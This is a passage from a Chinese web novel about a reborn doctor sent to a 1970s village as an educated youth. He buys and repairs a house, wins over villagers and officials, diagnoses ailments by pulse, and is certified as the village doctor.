江沐点了点头,伸出一根手指:“一天,一个人,我给一块钱,不管饭,你看成不成?” “啥?!” 赵文眼珠子都快瞪出来了,一块钱?! 要知道,社员们在地里刨食一天,累死累活也就挣七八个工分,折算下来才两三毛钱! “成!太成了!”赵文激动得脸都涨红了,连声应下,“江知青您放心!我保证给您找俩手脚麻利的!” “材料呢?”江沐又问。 “俺家就有!泥瓦、木料都有现成的,您要是要,我给您算个实在价,您要是自己有门路弄来也行!” “就用你的。明天能开工吗?我今天先把院里的草拔了。” “能!明儿一早俺们就到!” 事情就这么三言两语定了下来。 赵文扛着锄头,脚下生风,几乎是跑着回了家,把这天大的好消息告诉自家婆姨。 “当家的,你没昏头吧?一天一块钱?”他老婆刘春花正纳着鞋底,听到这话,针都差点扎到手上。 “千真万确!那城里来的江知青亲口说的!” 赵文灌了一大口凉水,眉飞色舞,“咱可得把活儿干漂亮了!听书记说,这位江知青还是个神医呢!” 刘春花眼睛转了转,一拍大腿:“那你更得用心了!这可是咱未来的邻居,把关系处好了,往后说不定还有好事哩!” …… 另一头,江沐跟着高志强进了大队办公室。 在一份泛黄的草纸上,用黑墨水写下了房屋买卖的条文,简单明了。 江沐和高志强各自在自己的名字上,重重地按下了鲜红的指印。 一式两份,一人一份。 “小江同志,你先别急着走。”高志强收起协议,脸上笑意更浓,“天也晚了,上我家里吃口便饭。下午让你婶子炒两个菜,再让我家那几个小子过去帮你把院里的草拔了,省得你一个人忙活。” 江沐本想推辞,但看对方盛情,便点头应下:“那太麻烦高书记了。您稍等,我这就回去拿钱,省得再跑一趟。” 他快步回到知青点,从自己的包裹深处摸出用手绢包着的一沓钱,数出一百五十块,想了想,又把临行前父亲江东山硬塞给他的两条大生产牌香烟也拿了出来。 回到高志强家,江沐将钱和一份协议递了过去。高志强点了点钱,满意地揣进兜里。 江沐随即把两条烟拿出来,一条递给高志强,另一条塞到旁边的李有柱怀里。 “高书记,李队长,一点心意,以后还得请两位多多关照。” 高志强和李有柱对视一眼,都从对方眼中看到了满意。 这小江同志,不仅有本事,还懂人情世故,是个能处的人。 “你这娃,太客气了!”李有柱把烟往怀里一揣,心里热乎乎的。 他忽然想起一事,一拍脑门,“对了,小江,你不是想当咱们村的医生吗?这事我跟高书记提了,高书记也同意!改明儿个,我带你上公社,找周书记把这手续给办了,给你弄个正式的名分!” 江沐心中一喜,这真是双喜临门,房子工作都解决了。 他郑重地朝两人点了点头。 “那就多谢李队长,多谢高书记了。” 第7章 总会有人吃不到葡萄说葡萄酸 夜色渐浓,高志强家院里的灯泡散发着昏黄的光晕,将人的影子拉得老长。 江沐刚踏进院门,一条半大的土黄色猎狗猛地从屋檐下蹿了出来,朝着他就是一阵狂吠。 “滚一边去!瞎叫唤啥!” 高志强眼睛一瞪,抬脚作势要踢,那大黄狗呜咽一声,瞬间夹起尾巴,灰溜溜地缩回了墙角,只敢用一双警惕的眼睛偷偷打量着江沐这个生人。 江沐的目光却柔和了下来。 前世他忙于手术和研究,从未有时间养一只宠物,此刻看着这通人性的土狗,心里竟生出几分喜爱。 他蹲下身,试探着朝大黄狗伸出手。 高志强有些意外:“小江同志还喜欢狗?这家伙凶得很,不咬自己人,但见着生人就跟疯了似的。” “没事,看着就机灵。”江沐的嘴角噙着淡淡的笑意。 “你要是喜欢,赶巧了!”高志强一拍大腿,“它再有两个月就要下崽了,到时候给你留一只最好的,看家护院,那是一把好手!” 正说着,一个围着碎花围裙的女人从屋里掀开门帘走了出来,手里还端着一盆冒着热气的水。 她看到江沐,脸上立刻堆起了热情的笑。 “当家的,这就是小江同志吧?哎哟,这后生,长得可真俊!” 高志强指了指女人,对江沐介绍:“这是你婶子,刘翠萍。” “婶子好。”江沐站起身,礼貌地点了点头。 “好,好!快进屋,别在外面站着了!”刘翠萍把水盆往地上一放,不由分说地就拉住江沐的胳膊往屋里拽,“饭都做好了,就等你来,在婶子家别客气,就当自个儿家一样!” 这股子扑面而来的热情,让习惯了疏离的江沐有些招架不住,耳根微微泛红。 刘翠萍手脚麻利,转身就从锅里捞出一大碗热气腾腾的手擀面。 “快吃,小江,趁热乎!”她把碗重重地放在江沐面前,又指了指桌上的盐罐子,“婶子家吃得淡,你要是觉得没味儿,自己加盐,可千万别跟婶子客气!” “谢谢婶子,够了,这太多了。”江沐看着那小山样的面条,有些哭笑不得。 “不多不多!你们年轻人下乡干活,肚子里没油水怎么成!” 江沐不再推辞,拿起筷子尝了一口。 面条筋道,远比知青点的大锅饭好吃。 他很快便风卷残云般地吃完了大半。 刘翠萍在旁边看着,脸上笑开了花,起身又要去给他添第二碗。 “婶子,真不用了,我饱了!”江沐连忙起身按住她的胳膊,再吃一碗,他今晚怕是别想睡了。 饭后,高志强的两个儿子,高建设和高建国也从外面回来了。 江沐摸出两根大生产香烟,一人递了一支。 两人有些受宠若惊,连忙接了过去。 高志强呷了口茶,对大儿子吩咐:“建设,你带着鹏飞和鹏涛,去帮小江把院里那草给拔了,天黑前弄完,省得他一个人忙不过来。” “好嘞,爹!”高建设应得干脆。 江沐回到知青点换了身耐磨的旧衣服。 陈小军见他这身打扮,好奇地探出头。 “沐哥,你这是要去开荒啊?” 江沐云淡风轻地回了一句:“没,去收拾下自己的院子,我把高书记家那老宅子买下来了。” “啥?!”陈小军一个鲤鱼打挺从床上弹了起来,眼睛瞪得溜圆,“你……你买房了?!” “嗯。” “我靠!牛啊沐哥!”陈小便激动地搓着手,“要不要帮忙?哥们儿别的没有,力气管够!” 江沐心里一暖,脸上却依旧平静:“不用,高书记让他儿子带人帮我了。” 他没再多说,拿着从系统商城里兑换出来的一包水果糖和一整包大生产香烟,转身出了门。 到了老宅院子,高建设已经带着两个七八岁的半大孩子——鹏飞和鹏涛,在里面忙活开了。 江沐走过去,先给两个眼巴巴瞅着他的孩子一人抓了一大把糖,又把那整包烟塞给了高建设。 “建设哥,辛苦了,抽根烟歇歇。” 高建设看着手里的整包烟,愣住了,连忙要推回去:“江知青,你这太客气了!我爹让我来帮忙,是应该的!” “拿着吧”江沐不容他拒绝,直接拍了拍他的肩膀。 两个孩子得了糖,欢天喜地地跑了出去,在村里四处炫耀。 有人好,有人帮,效率就是高。 两个大人,两个半大孩子,不到两个小时,院子里齐膝深的杂草就被清理得干干净净。 “走,鹏飞鹏涛,你们俩玩去吧。”江沐对两个满头大汗的孩子笑了笑。 他又和高建设合力,将屋里那些破旧歪斜的桌椅板凳都搬了出来,堆在院角。 完工后,江沐诚恳地向高建设道谢。 高建设抹了把汗,憨厚地摆了摆手:“这有啥,以后就是邻居了。” 他上下打量着江沐,终究是没忍住心里的好奇,“江知青,我听我爹和李队长说,你医术可神了。那你咋还下乡了?在城里医院没个工作?” 这个问题有些尖锐,江沐不想暴露自己家里的那点破事,只得含糊其辞:“家里情况复杂,总得有一个人下来占个名额。” 他巧妙地转移了话题:“倒是建设哥你,身子骨这么壮实,怎么没想过去城里当个工人?” 高建设闻言,自嘲地笑了笑:“哪有那么容易?一个招工名额,下面的人抢破头,没点关系和票子,想都别想,还不如在村里待着,起码自在。对了,” 他像是想起了什么,压低声音,“咱们这后山野兔子多,我下的套子准得很,往后你想改善伙食了,就来找我!” 江沐眼中闪过笑意,这高建设,是个实在人。 “那我就先谢过建设哥了。” …… 回到知青点时,天已经彻底黑了。 陈小军立刻凑了上来,一脸兴奋:“沐哥,收拾完了?啥时候搬家,我帮你!” “明天找人修屋顶,后天吧,我自己来就行。”江沐婉拒了他的好意。 等到吴有才和其他几个老知青下工回来,陈小军立刻把江沐买房的壮举宣扬了出去。 一时间,整个屋子都安静了。 几个老知青面面相觑,眼神里是掩饰不住的复杂情绪,羡慕、嫉妒。 “嗬,江知青这可真是……大手笔啊。”一个叫赵卫东的知青阴阳怪气地开了口。 另一个也跟着帮腔:“就是,还是人家城里来的有本事,兜里有钱。” 江沐没理会这些酸话,自顾自地整理着自己的床铺,总会有人吃不到葡萄说葡萄酸。 吴有才咳嗽了一声,打破了尴尬的气氛,他瞪了那几个多嘴的人一眼:“都别瞎琢磨了!明天还得下地挣工分呢!” 这话一出,屋里的气氛更加沉闷了。 陈小军瘫倒在床上,有气无力地哀嚎了一声。 “老吴啊,明天……咱能不上工不?” 第8章 今年多大?处对象没有? 吴有才闻言,眼皮都没抬一下,从鼻子里哼出一声。 “不上工?行啊,不上工就没工分,没工分就没粮食分,你要是兜里有真金白银,那你天天躺着都没人管你。” 他顿了顿,目光扫过屋里众人,意有所指地补充了一句。 “现在不是双抢那会儿,队里不强制上工,可饿肚子是自己的事。” 一番话说的陈小军顿时泄了气,又重重地瘫了回去。 他家里也是普通工人,哪有那么多闲钱给他霍霍。 “唉,我这劳碌命……”他长吁短叹,随即眼珠子一转,賊兮兮地凑到江沐床边,压低了声音,“沐哥,你就不一样了,你可是咱知青点的大财主!” 江沐正在铺床的手微微一顿,心中有些无奈。 他知道陈小军没恶意,但这种话最容易招人记恨。 他转过头,神色平静地迎上陈小军探究的目光。 “我拢共就带了二百块钱,买房子花了一百五,再添置些锅碗瓢盆、油盐酱醋,早就见底了。接下来也得跟你们一样,老老实实挣工分换饭吃。” 这话半真半假,却也合情合理,堵住了旁人想要探究的嘴。 陈小军撇了撇嘴,显然不太相信,但也识趣地没再追问。 晚饭依旧是寡淡的玉米糊糊和咸菜疙瘩。 江沐只吃了几口垫了垫肚子,便放下了碗筷,跟吴有才打了声招呼,起身出了门。 夜幕下的村庄静谧安详,只有零星的犬吠声从远处传来。 他要去一趟李有柱家,把明天修房子的事说一声,顺便请个假。 李有柱家就在村口不远处,一个敞亮的砖瓦院子,在周围一片土坯房中显得格外气派。 此刻,他家门口的石墩上坐着好几个乘凉的村民,摇着蒲扇,有一搭没一搭地聊着天。 一个眼尖的小伙子最先看到了江沐,立刻站了起来,热情地扬了扬手。 “江知青,你来啦!快来坐!” 正是李有柱的儿子,李振国。 江沐脸上漾开一抹温和的笑意,从口袋里摸出烟,挨个散了一圈。 “振国哥,叔和婶子们,晚上好啊。” 他这一手极为老练,瞬间拉近了距离。 几个叼着烟的老爷们脸上都露出了笑意,连连点头。 “哎哟,这就是那个城里来的小江大夫吧?长得可真精神!”一个胖乎乎的大妈上下打量着江沐,眼睛里直放光。 另一个大妈立刻凑了上来,一把拉住江沐的胳膊,热络得不行。 “小江啊,你今年多大了?在城里处对象了没?我娘家有个侄女,跟你差不多大,人长得水灵,手脚也勤快……” 眼看这话题就要往失控的方向发展,江沐只觉得头皮发麻。 “婶子,我这刚下乡,还没考虑这些……” 幸好李振国及时解围,他冲着屋里大喊了一声。 “爹!江知青找你!” 话音刚落,一个魁梧的身影就掀开门帘走了出来,正是李有柱。 “小江来了!吃饭了没?没吃让你婶子给你下碗面条去!” “吃过了,队长。”江沐连忙摆手,“我来是想跟您说一声,明天我想请个假,不去上工了,收拾收拾那院子。” “嗐,多大点事儿!”李有柱大手一挥,干脆利落,“你那边房子弄利索了,我正好带你去公社,把村医的名分给你办下来!这才是顶顶重要的大事!” 江沐心中一暖,郑重地点了点头。 “那就麻烦队长了,等我这边一完事,就来找您。” “跟我客气啥!”李有柱拍了拍儿子的肩膀,语气不容置喙,“振国,你明天也别下地了,去给小江搭把手!听见没?” 李振国憨厚一笑,拍着胸脯保证。 “放心吧爹!江知青,这你可不能推辞,都是自家兄弟!” 江沐见状,也不再矫情,笑着应了下来。 三人在院子里又聊了会儿天,直到月上中天,江沐才起身告辞。 回到知青点,大部分人都已经睡下,屋里鼾声此起彼伏。 江沐轻手轻脚地走到自己床铺边,低声对吴有才道,“吴点长,我跟大队长请过假了,明天不去上工,专心弄房子的事。” 吴有有才抬起头,推了推鼻梁上的黑框眼镜,脸上露出了然的微笑。 “行,应该的。要是有什么需要帮忙的地方,尽管开口,别跟我们客气。” “好,我不会客气的。” …… 第二天,天刚蒙蒙亮,江沐便起了床。简单洗漱过后,他直接去了村东头赵文的家。 刚到院门口,就看见三个精壮的汉子正蹲在地上磨着瓦刀,正是赵文和他带来的两个帮手。 “赵大哥,来这么早。”江沐笑着上前,将三根大生产递了过去。 赵文接过烟别在耳朵上,咧嘴一笑,指着身边的两人给他介绍。 “这是我大哥,赵武。这个是我表弟,刘立成。都是一把好手,你放心!” 赵武和刘立成也纷纷接过烟,对着江沐憨厚地点了点头,算是打了招呼。 人齐了,说干就干。 赵文从墙角扛来一架长长的木梯,往屋檐上一搭,三两下就爬了上去。 “我先上去瞅瞅,看看大概要用多少小瓦,咱们再去瓦窑那边搬。” 江沐对此一窍不通,自然没有意见,只在下面点头。 “行,赵大哥,你们是专业的,怎么说咱就怎么干。” 赵文在房顶上敲敲打打,检查了一圈,很快就探下头来,表情有些严肃。 “江知青,你这屋顶怕是得大动了,上面的椽子有好几根都糟了,瓦片也脆得不行,我看呐,干脆大部分都重新铺一遍,省得以后漏雨,更麻烦。” 江沐眉头都没皱一下,干脆地回应。 “那就全换!一天干不完就干两天,工钱照算!” 他这话一出,赵文三兄弟的眼睛都亮了。 “那倒不用!”赵文瞬间来了干劲,“一天!我们兄弟三个加把劲,保证天黑前给你弄得妥妥帖帖!这样,振国兄弟不是也来帮忙吗?你俩去瓦窑那边拉瓦,我们仨在这和泥,准备家伙事儿,一点不耽误!” 说干就干,几人立刻分头行动。 一直忙活到日头高悬,晒得人脊背发烫,赵文的婆娘刘春花挎着个篮子,扯着嗓子喊了起来。 “当家的!吃饭啦!” 江沐正准备回知青点对付一口,却被满身是泥的赵文一把拦住。 “江知青,走,上我那吃去!都做好了,不差你这一双筷子!” 盛情难却,江沐跟着赵文回了家。 一进门,正在摆碗筷的刘春花看见他,眼睛顿时一亮,忍不住夸赞起来。 “哎哟,这就是江知青吧?这小伙子,长得可真俊!” 第9章 总算有个家了! “江知青快进屋坐,饭马上好!” 话音刚落,三个半大点的孩子从里屋探头探脑地钻了出来,两男一女,都用乌溜溜的大眼睛好奇地打量着江沐这个陌生的城里人。 赵文立刻板起脸,招了招手。 “杵那儿干啥,过来喊人!这是江叔叔。” 他指着最大的男孩,“这是俺大儿子赵家传,旁边是他妹子赵家慧。” 最后,他的目光落在了那个最瘦小、脸色有些发黄的男孩身上,“这是俺小儿子,赵家和。” “江叔叔好。”三个孩子怯生生地喊了一声。 江沐含笑点头,目光却在最小的赵家和身上多停留了几秒。 这孩子的精气神明显不对,眼白泛着淡淡的青色,嘴唇也有些苍白,一副恹恹的样子。 他心中一动,温声开口。 “赵大哥,家和最近是不是肠胃不大舒服?” 赵文满脸惊奇。 “神了!江知青你咋看出来的?这小子是闹了好几天肚子了,蔫头耷脑的,正寻思着过两天带他去公社卫生所瞅瞅呢。” 江沐走到赵家和面前,温和地蹲下身。 “来,小家伙,让叔叔给你看看。” 他伸出手,轻轻搭在了赵家和瘦弱的手腕上。指尖微动,感受着那细弱的脉搏。 片刻后,他便松开了手,心中已然有数。 “不是什么大事。”江沐站起身,语气笃定,“就是肚子里生了蛔虫,这毛病常见。” 他转头看着一脸紧张的赵文和刘春花,耐心地叮嘱。 “以后记着,家里的水一定要烧开了再喝,还有,饭前便后一定要让孩子们用皂角洗手。等我回头去公社卫生所,给你们拿点打虫药,吃两次就好了。” 一番话条理清晰,有因有果,瞬间让赵文夫妇悬着的心放了下来。 “哎哟!小江大夫,你可真是活菩萨!”赵文一拍大腿,对江沐的本事佩服得五体投地,“俺们这些粗人哪懂这些!听见没!”他扭头冲着三个孩子吼了一嗓子,“以后都给老子把手洗干净了!” 【来自赵文的敬佩,声望值+5】 【来自刘春花的感激,声望值+5】 脑海中闪过系统的提示音,江沐的表情没有丝毫变化。 声望值虽少,但积少成多,尤其是在这缺医少药的村子里,是他安身立命的根本。 午饭是清汤挂面,卧了两个荷包蛋,翠绿的葱花飘在汤上,香气扑鼻。 赵文有些不好意思地搓着手。 “家里没啥好东西,连点肉腥都见不着,江知青你别嫌弃。” “赵大哥说的哪里话,这面闻着就香。”江沐拿起筷子,毫不客气地吃了一大口。 面条筋道,汤头鲜美,刘春花的手艺确实不俗。见他吃得香,赵文脸上的笑容更真切了,他得意地夸耀起来。 “那是!俺婆娘这手艺,在咱青莲公社都是挂得上号的!十里八村谁家有个红白喜事,都得请她去掌勺颠大锅!” 刘春花被夸得面皮发烫,往赵文碗里夹了个荷包蛋,嘴里嘟囔着。 “吃你的饭吧,堵不上你的嘴!” 一顿饭在热络的气氛中吃完。 …… 下午的活计格外顺利。 人多力量大,还没到太阳落山,三间屋子的屋顶便已修葺一新,乌黑的瓦片整整齐齐,在夕阳下泛着光。 江沐从兜里掏出早就准备好的三块钱,递了过去。 “赵大哥,赵武哥,立成兄弟,辛苦三位了。” 一人一天一块钱,这可是顶天的大工钱了。 江沐又问。 “赵大哥,今天用的小瓦还有那些材料,总共多少钱?我一并给你。” 赵文闻言,连连摆手。 “哎,说啥呢!都是些不值钱的玩意儿,瓦窑那边捡的碎瓦,费点力气罢了,提钱就见外了!” “那不行,一码归一码。”江沐态度坚决,“这些材料怎么也得值个一块钱,您必须收下。” “太多了!太多了!” 两人推拒了半天,最后还是江沐硬塞进了赵文的口袋里,这事才算作罢。 他又转向一直默默帮忙的李振国,也递过去一块钱。 “江知青,你这是打我的脸!要不是你,我家那小子上次发高烧就悬了!我这是来报恩的,你给钱是啥意思?” 江沐一怔,他心中了然,也不再坚持,收回钱,反手从兜里摸出一包没开封的大生产塞了过去。 “钱不要,烟总得收下吧?振国哥,以后还得请你多关照。” 这下,李振国没再拒绝,憨厚地笑着接了过去。 “要搬家不?俺们几个再搭把手,一下子就给你搬完了!”赵文临走前热情地问。 “不用了,赵大哥。”江沐笑着摇头,“我就一个背包,几件换洗衣裳,自己来回两趟就成。你们忙了一天,赶紧回去歇着吧。” 送走众人,江沐回到知青点。 他先是打水冲了个澡,换了身干净衣服,然后拎着水桶,来来回回把院里那口大水缸重新灌满了。 吴有才从屋里出来,看见这一幕,推了推眼镜。 “小江,你这是……” “缸里没水了,顺手就给挑满了。”江沐放下水桶,擦了把汗。 他走进屋,从自己的铺盖卷里拿出一个布袋,递给吴有才。 “吴点长,这些口粮你收着。” 吴有才掂了掂,脸色一变。 这布袋沉甸甸的,少说也有十来斤棒子面。 “这可不行!太多了!这是你自己的口粮!”他立刻推了回去。 “拿着吧。”江沐的态度不容置喙,“点里人多,总有青黄不接的时候,我留着也是浪费。” 见他如此坚持,吴有才也不再矫情,郑重地收下了,心里对江沐的看法又高了几分。 江沐的东西确实不多,一个背包,一个网兜,三两下就收拾利索。 他跟屋里醒着的几个知青打了声招呼,便拎着东西出了门。 角落里,一个叫赵卫东的男知青看着他的背影,酸溜溜地啐了一口。 “哼,神气什么,不就是家里有几个臭钱!” 江沐置若罔闻,头也没回地走进了夜色里。 新家虽然简陋,但被收拾得干干净净。 他把东西放好,躺在刚刚铺好的木板床上,双手枕在脑后,看着斑驳的屋顶,心中一片宁静。 两辈子了,这还是第一次,他有了一个完完全全属于自己的地方。 他长长地舒了一口气,嘴角不自觉地微微上扬。 总算,有个家了。 …… 千里之外的京城,江家。 晚饭刚过,苏红霞正眉飞色舞地跟亲儿子江守成说着单位里的趣事。 江东山默默地扒完碗里最后一口饭,放下筷子,一言不发地走到院子里的老槐树下,独自一人坐在小马扎上,点燃了一根烟。 第10章 尤其是在……房事上,颇为不济 与此同时,远在陕州的江沐,正置身于一片纯粹的黑暗中。 屋子里伸手不见五指,只有窗外稀疏的星光,勉强勾勒出窗棂的轮廓。 江沐躺在硬邦邦的木板床上,心念一动,唤出了系统商城。 【声望值:101】 “兑换,煤油灯。” 【兑换煤油灯需消耗声望值20点,是否确认?】 冰冷的机械音在脑海中响起。 江沐眉头微蹙,这点声望值还是之前在火车上救了李振国儿子得来的。 他毫不犹豫地选择了确认。 【声望值-20,兑换成功。】 几乎是瞬间,一盏崭新锃亮的马灯凭空出现在他手边的床板上,里面已经灌满了煤油。 江沐摸出火柴,划亮,凑近灯芯。 一簇温暖的橘黄色光芒骤然亮起,驱散了满室的黑暗,也照亮了他平静而深邃的脸庞。 明天得去公社的供销社转转,锅碗瓢盆,油盐酱醋,样样都得置办。 声望值是他的底牌,得攒着以备不时之需,不能这么轻易就花了。 他静静地躺着,听着窗外偶尔传来的几声犬吠,开始为自己的未来做起了规划。 行医是根本,声望是保障,在这个特殊的年代,每一步都必须走得稳,走得准。 …… 第二天天刚蒙蒙亮,一阵高亢的集合哨声便划破了青莲公社的宁静。 “上工啦!都起来上工啦!” 江沐睁开眼,他简单吃了两口带来的干粮,又用十点声望值兑换了一把坚固的黄铜挂锁,锁好了房门,这才迈步走了出去。 他刚走到院门口,就迎面撞上了挑着水桶的赵文和提着篮子的刘春花。 “哎呀!江知青!”赵文看见他,脸上满是惊奇,“你昨晚就搬过来了?咋不吱一声!俺们也好过来搭把手啊!” “没什么东西,就不麻烦赵大哥了。”江沐淡然一笑。 刘春花在一旁打量着江沐,眼里满是赞许:“江知青真是个利索人。快,跟我们一道去村口,队长该分活儿了。” 三人同行,一路上不断有扛着锄头、挑着扁担的社员跟他们打招呼。 赵文是个热心肠,扯着嗓子给江沐一一介绍。 “这是村东头的王大拿,一手侍弄庄稼的绝活!” “那是张寡妇,别看是个女的,力气比爷们还大!” 江沐一路含笑点头,将这些朴实的脸孔一一记在心里。 到了村口的大槐树下,二大队队长李有柱正蹲在地上,抽着旱烟。 见到江沐,他眼睛一亮,猛地站了起来。 他三言两语将今天的农活分配下去,社员们便三三两两地散了,各自走向田间地头。 最后,他大步流星地走到江沐面前,蒲扇般的大手一挥。 “江知青,你跟我走一趟!这村医的名分是大事,得赶紧落到实处!不能耽搁!” 江沐点点头,回屋换了件干净的衬衫。 再出来时,李有柱已经推来了一辆二八大杠自行车。 “走,上车!” 从二大队到公社足有二十里山路,坑坑洼洼,颠簸得厉害。 两人换着骑,饶是如此,等到了公社大院门口时,也足足花了两个钟头。 李有柱扶着车把,喘着粗气,一张黑脸膛涨得通红。 “不行了不行了,俺是真老了,这两条腿蹬得跟面条似的。” 江沐气息匀称,脸上不见半点汗珠,他拍了拍李有柱的肩膀,微笑着调侃。 “李队长这话说早了,您这可是顶梁柱的年纪,正当年呢。” 李有柱咧嘴一笑,带着江沐径直走进了挂着公社革命委员会牌子的院子,直奔书记办公室。 办公室里,一个戴着眼镜、面容方正的中年男人正在看文件,正是公社书记周志康。 “周书记!”李有柱人未到声先至。 周志康抬起头,推了推眼镜,看到是李有柱,又瞅了瞅他身后气质不凡的江沐,眼中闪过讶异。 “有柱啊,你这火急火燎的,出啥事了?” 李有柱从兜里掏出一根大生产,恭敬地递了过去,又亲自给点上火。 “书记,给您介绍个大才!这是刚来咱们青莲公社的知青,江沐!俺寻思着,咱们队里不是一直缺个大夫嘛,社员们有个头疼脑热的都得跑几十里山路,太不方便了,您看,能不能给小江安个村医的名分?” 周志康吸了口烟,目光如炬,在江沐身上来回审视。 他眉头一皱,沉声发问:“小同志,既然会医术,家里条件应该不差,怎么会来我们这穷山沟里?” 江沐神色不变,不卑不亢地回答:“周书记,家里情况比较复杂,我是自愿响应国家号召,来农村广阔天地锻炼的。” 一句话,滴水不漏。 周志康点点头,没再追问家事:“既然有柱这么推荐你,想必是有些真本事的,可这医生不是儿戏,人命关天,我得亲自考考你。” 江沐坦然迎上他的目光:“应该的,书记想怎么考?” 周志康伸出自己的手腕,放在桌上。 “那就给我瞧瞧。我最近总觉得身上不得劲,你去卫生所也查不出个所以然来。” 这既是考验,也是他自己确实有此需求。 江沐也不多言,上前一步,三根修长而稳定的手指轻轻搭在了周志康的寸口之上。 李有柱紧张地屏住了呼吸,心都提到了嗓子眼。 不过半分钟,江沐便松开了手。 他抬起头,看了一眼旁边满脸期待的李有柱,平静地开口。 “李队长,麻烦您先去外边抽根烟,我和周书记有些私密的话要谈。” 李有柱一愣,但看江沐神情郑重,还是听话地出去了。 门被关上,江沐这才转向脸色有些变化的周志康,声音压低了几分,却字字清晰。 “周书记,您身体并无大碍,只是肝气郁结,肾水亏虚。我斗胆问一句,您最近是不是时常感觉腰膝酸软,力不从心,尤其是在……房事上,颇为不济?” 此言一出,周志康的脸色唰地一下就变了! 他只觉得脸上火辣辣的,像是被人当众扒了裤子! 这事是他最大的难言之隐,连婆娘都没说过,这小子……这小子光凭号脉就看出来了?! 震惊、羞恼、难以置信……种种情绪在他脸上交织。 最终,在江沐那平静无波的眼神注视下,艰难地点了点头。 第11章 二大队的乡亲,比公社更需要医生 【叮!来自周志康的震惊与敬佩,声望值+50!】 【当前声望值:121!】 系统冰冷的提示音在江沐脑海中响起,他抬起眼,静静地看着面前的公社书记。 周志康嘴唇哆嗦着,哪里还有半分领导的沉稳。“江……江大夫!我这……我这还有救吗?我……我才四十出头啊!” 四十岁,对一个男人来说,正是年富力强、事业攀升的黄金时期。 可偏偏在这件事上掉了链子,这比让他少活十年还难受! “能治。” 仅仅两个字,却犹如神谕。 周志康眼看着江沐从容不迫地走到自己办公桌前,拿起那支英雄牌钢笔,扯过一张信纸,笔走龙蛇。 “书记,方子在这。按这个抓药,一天两顿,饭后温服。先吃上一个月。” 江沐将那张薄薄的信纸推过去。 “一个月后,我再来公社,给您施几针,不敢说别的……”江沐顿了顿,“保证让您找回十八岁小伙子的龙精虎猛。” 周志康粗重地喘息着,双眼放光,那眼神,恨不得把那张药方给生吞下去! 江沐似乎嫌这火烧得还不够旺,又俯身过去,用只有两人能听见的声音,压低了嗓门补充了一句。 “书记,这方子是虎狼之药,药力霸道。服药期间,身体可能会有些……嗯,控制不住的反应。到时候,您可得忍住了,千万别胡来,不然前功尽弃。” 这话里的深意,周志康一个四十岁的男人岂能不懂! 他那张饱经风霜的老脸红到了耳根,紧接着便是难以抑制的狂喜,头点得跟捣蒜似的。 “懂!我懂!我绝对忍住!” 他一把攥住江沐的手,激动得浑身发抖,“江大夫!不!江老弟!你就是我的再生父母!只要你治好我这病,以后在这青莲公社,你横着走!谁敢给你穿小鞋,我周志康第一个拧下他的脑袋!” 这承诺,掷地有声,份量重如泰山! 江沐不动声色地抽回手,淡然一笑:“书记言重了,救死扶伤,医者本分。” 周志康做了几个深呼吸,好不容易才压下翻腾的气血,恢复了几分书记的威严。 他猛地一拍桌子,中气十足地朝门外吼了一嗓子。 “有柱!滚进来!” 门被推开,李有柱探头探脑地走进来,脸上写满了大大的问号。 “书记,啥事啊?” 他的视线在周志康和江沐之间来回扫荡,心里犯着嘀咕。 “走!去卫生院!”周志康一挥手,整个人容光焕发,仿佛年轻了十岁,“小江当村医这事儿,我特批了!手续,必须马上办!我亲自去!” 说罢,他竟真的一马当先,领着二人,雄赳赳气昂昂地杀向不远处的卫生院。 “老孙!”周志康人未到声先至,大步流星地跨进门槛,一把将身后的江沐拽到前面。 “给你介绍个大才!江沐,首都来的知青,医术通神!我做主了,让他去二大队当村医,你赶紧给办手续!” 孙志慢悠悠地抬起头,推了推鼻梁上的老花镜,目光如炬,落在江沐身上反复审视。 这年轻人,气度沉稳,眼神清澈,确实不像普通后生。 可当医生,人命关天,不是谁嗓门大谁就有理的。 他慢条斯理地开了口,声音不大,却很有分量:“有行医资格证吗?” 江沐摇了摇头,神色坦然,不卑不亢:“没有。本打算今年考首都中医大学,这不是响应号召下乡了么。” “哦?”孙志的眉头立刻拧成了一个疙瘩,“没有证,那可不行。” 周志康脸一急,刚要说话,江沐却抢先一步,上前一步。 “孙院长,我懂规矩,您划下道儿,想怎么考,我接着就是。” 这份气定神闲的自信,让孙志眼中的审视,不禁多了讶异。 “好小子,有胆气!那就跟我来。” 孙志领着他到了一间空诊室,从一个上了锁的抽屉里,翻出一份纸页泛黄的卷子。 “这是院里考核用的基础卷,一百分。你做吧,七十分算你过。” 江沐接过卷子,目光一扫,心中便是一笑。 太简单了! 什么伤寒六经辨证,中暑的刮痧急救,这些在他前世,连刚入门的学徒都倒背如流的东西,在这里,竟成了考核的难题。 他也不多话,拿起笔,连思索都省了,笔尖在粗糙的纸上行云流水。 孙志、周志康和李有柱三人就在旁边看着。 起初,孙志还抱着胳膊,一副等着看好戏的模样。可看着看着,他脸上的从容就挂不住了。 太快了!这哪里是在答题,分明就是在抄书! 而且是开卷抄书都达不到的速度! 不到二十分钟,江沐停笔,将卷子轻轻放在桌上。 “孙院长,答完了。” 孙志狐疑地拿起卷子,只看了两眼,瞳孔便骤然收缩! 许多论述题的解答,那角度之新颖,见解之深刻,竟让他都有一种醍醐灌顶、茅塞顿开的感觉! 这……这哪是一个毛头小子能写出来的东西?! 孙志激动地扶着桌沿,死死地盯着江沐:“你……你师承何人?令尊是哪位杏林国手?!” 能教出如此妖孽的徒弟,绝不可能是无名之辈! 江沐终于露出微笑,语气平淡。 “家父谈不上国手,他叫江东山,在首都中医院,当个副院长罢了。” 首都中医院副院长! 孙志倒吸一口凉气,手一抖,老花镜都差点掉在地上! 一个副院长的亲儿子,跑到他们这鸟不拉屎的穷山沟来当个村医?暴殄天物啊! “江……江同志!你这样的大才,窝在二大队那小地方,实在是……太屈才了!听我一句劝,来我们公社卫生院!” 江沐却连一秒钟的考虑都没有,直接摇头。 “多谢孙院长美意。但二大队的乡亲,比公社更需要医生。” 良久,孙志眼中满是复杂而真挚的赞许。 “说得好!”孙志赞赏地重重拍了拍江沐的肩膀,“既然你心意已决,我不再强求。只希望你,永远别忘了今天的这份初心!” 他不再犹豫,雷厉风行地找出空白证件和公章,亲自为江沐填写。 “好了!”他将盖着鲜红印章的证件递给江沐,语气郑重。 “从今天起,你就是我们青莲公社卫生院下属,二大队卫生室的正式村医,月工资十八块,药品补助五块。除了看病,队里的卫生防疫、药品申领,都归你管。欢迎你,江沐同志!” 第12章 这哪里是块璞玉,这分明是座玉山 周志康眼巴巴地瞅着孙志。 “老孙,怎么样?我没看走眼吧?这小子是真有两下子,还是蒙的?” 